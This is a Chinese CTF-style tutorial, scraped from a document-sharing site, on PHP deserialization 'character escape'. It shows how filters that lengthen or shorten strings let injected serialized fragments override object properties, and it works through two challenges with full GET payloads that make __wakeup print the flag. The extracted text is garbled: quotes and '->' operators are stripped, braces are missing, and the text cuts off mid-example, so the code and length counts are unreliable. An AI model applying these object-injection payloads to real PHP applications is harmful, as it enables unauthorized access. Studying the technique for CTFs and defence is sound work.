詳解php反序列化之字符逃逸法_第1頁
詳解php反序列化之字符逃逸法_第2頁
詳解php反序列化之字符逃逸法_第3頁
詳解php反序列化之字符逃逸法_第4頁
詳解php反序列化之字符逃逸法_第5頁
已閱讀5頁,還剩5頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

第詳解php反序列化之字符逃逸法目錄1.先說關(guān)鍵字符變多例題1例題22.關(guān)鍵字符減少總結(jié)按我的理解,反序列化的過程就是碰到;}與最前面的{配對后,便停止反序列化。如下序列化:

php

classTest{

public$a="aa";

public$b="bbb";

public$c="cccc";

$qwe=newTest();

echoserialize($qwe);

輸出序列化結(jié)果為:O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}

添加;}進行嘗試:

O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}修改為

O:4:Test:3:{s:1:as:2:aas:1:bs:3:bbbs:1:cs:4:cccc}hahhahha并嘗試反序列化

print_r(serialize($qwe));

echo"

print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha'));

O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}

TestObject

[a]=aa

[b]=bbb

[c]=cccc

我們發(fā)現(xiàn)成功進行了反序列化操作,并且沒有出現(xiàn)報錯,因此可以說明反序列化以;}為結(jié)束標志,后面的內(nèi)容則忽略不管。由此是不是想到了sql注入的相關(guān)知識?二者確實有一定的可類比性,都是通過構(gòu)造閉合的方式構(gòu)造payload,只不過字符逃逸構(gòu)造閉合注意點在長度,因為閉合標志固定,都是;}

值得一提的是,php中可以通過修改序列化后的字符串來反序列化出原本類中不存在的元素,如下:

在unserialize的時候,當你的字符串長度與所描述的長度不一樣時就會報錯.比如s:3:Tom變成s:4:Tom或s:2:Tom就會報錯.可以通過拼接字符串的方式來使它不報錯

所以字符逃逸又分為兩類

關(guān)鍵字符變多和關(guān)鍵字符變少

1.先說關(guān)鍵字符變多

反序列化逃逸的題目,會使用preg_replace函數(shù)替換關(guān)鍵字符,會使得關(guān)鍵字符增多或減少,首先介紹使關(guān)鍵字符增多的。

php

highlight_file(__file__);

functionfilter($str){

returnstr_replace('l','ll',$str);

classperson{

public$name='lonmar';

public$age='100';

$test=newperson();

$test=serialize($test);

echo"/br

print_r($test);

echo"/br

$test=filter($test);

print_r($test);

print_r(unserialize($test));

因為替換過后,實際長度為7,而描述長度為6,少讀了一個r所以失敗

這種字符增多是反序列化失敗是因為漏讀了字符串的value,如果構(gòu)造惡意的value,再故意漏讀

如令$name=lonmars:3:ages:2:35}

如果再進行替換,lonmar=llonmar,后面的}又讀不到

再多幾個l,lllllllllllllllllllllonmar=llllllllllllllllllllllllllllllllllllllllllonmar,s:3:ages:2:35}就又讀不到

只能讀到lllllllllllllllllllllonmar這樣后面的;s:3:ages:2:35}就逃逸掉了,逃逸掉的字符串可以把原來后面的正常序列化數(shù)據(jù)提前閉合掉.(閉合條件}

;s:3:ages:2:35}長度是22,所以只需要22個l,如下:

php

functionfilter($str){

returnstr_replace('l','ll',$str);

classperson{

public$name='llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';

public$age='100';

$test=newperson();

$test=serialize($test);

var_dump($test);

$test=filter($test);

var_dump($test);

var_dump(unserialize($test));

可以觀察到age變成了35,name不是llllllllllllllllllllllllllllllllllllllllllllonmars:3:ages:2:35}而是llllllllllllllllllllllllllllllllllllllllllllonmar因為;s:3:ages:2:35}逃逸,之后終止標志變成了;s:3:ages:2:35}里的;}后面的就被忽略了。

例題1

php

error_reporting(0);

classa

public$uname;

public$password;

publicfunction__construct($uname,$password)

$this-uname=$uname;

$this-password=$password;

publicfunction__wakeup()

if($this-password==='yu22x')

include('flag.php');

echo$flag;

else

echo'wrongpassword';

functionfilter($string){

returnstr_replace('Firebasky','Firebaskyup',$string);

$uname=$_GET[1];

$password=1;

$ser=filter(serialize(newa($uname,$password)));

$test=unserialize($ser);

這里要求password=yu22x,但是password的值已經(jīng)設(shè)置好了,這里就是用反序列化字符逃逸使得原本的密碼不被反序列化。先進行序列化,在本地測試,可以將密碼先改為yu22x,然后進行序列化,

$uname=$_GET[1];

$password='yu22x';

$ser=filter(serialize(newa($uname,$password)));

//$test=unserialize($ser);

var_dump($ser);

得到結(jié)果

O:1:a:2:{s:5:unames:1:s:8:passwords:5:yu22x}

需要吞掉的部分是s:8:passwords:5:yu22x}這是30個字符,每替換一次增加2個字符,所以需要15個Firebasky才可以,所以構(gòu)造payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskys:8:passwords:5:yu22x}

這是需要當作username傳入的參數(shù),其實整個是

O:1:a:2:{s:5:unames:1:1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskys:8:passwords:5:yu22x}s:8:passwords:5:yu22x}

到第一個;}就會停止反序列化,更改的參數(shù)也是正確的,所以后面的password=1的部分就會被吞掉(忽略)。反序列化成功就會得到flag。

例題2

上面那個是剛好夠30個被吞掉,每替換一次吞掉兩個字符。所以算起來比較方便。這個是不一樣的。

#unctf

php

error_reporting(0);

highlight_file(__FILE__);

classa

public$uname;

public$password;

publicfunction__construct($uname,$password)

$this-uname=$uname;

$this-password=$password;

publicfunction__wakeup()

if($this-password==='easy')

include('flag.php');

echo$flag;

else

echo'wrongpassword';

functionfilter($string){

returnstr_replace('challenge','easychallenge',$string);

$uname=$_GET[1];

$password=1;

$ser=filter(serialize(newa($uname,$password)));

$test=unserialize($ser);

還是在本地替換,替換正確密碼。序列化結(jié)果。

O:1:a:2:{s:5:unames:1:s:8:passwords:4:easy}

這個是替換一次,增加四個。而需要吞掉s:8:passwords:4:easy}29個字符無法正好替換,前面使用7個,則少一個,使用8個,則會多7個字符。所以這里可以使用8個,后面使用一下占位符讓其吞掉,比如;我理解的是因為遇到;}才會結(jié)束反序列化,所以在;前面加7個;使得反序列化成功。

1=challengechallengechallengechallengechallengechallengechallengechallengechallenges:8:passwords:4:easy};;;;;;;

或者

1=challengechallengechallengechallengechallengechallengechallengechallengechallenges:8:passwords:4:easy;;;;;;}

兩個payload都一樣的,可以序列化成功,得到flag

2.關(guān)鍵字符減少

在增加字符串的題目中,我們是利用題中的增加操作,阻止他進行向后吞噬我們構(gòu)造的代碼,而在字符減少的過程中,我們也是利用這個操作.

php

highlight_file(__file__);

functionfilter($str){

returnstr_replace('ll','l',$str);

classperson{

public$name='lonmar';

public$age='100';

同樣的,如果構(gòu)造惡意的age,讓反序列化的時候多讀,把age一部分讀進去同樣可以達到某種目的

正常的數(shù)據(jù)O:6:person:2:{s:4:names:6:lonmars:3:ages:3:xxx}

如果做替換,讓也s:3:ages:3:被讀進name,再把xxx替換為;s:3:ages:3:100}

令$age=123s:3:ages:3:100}

O:6:person:2:{s:4:names:47:llllllllllllllllllllllllllllllllllllllllllonmars:3:ages:26:123s:3:a

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論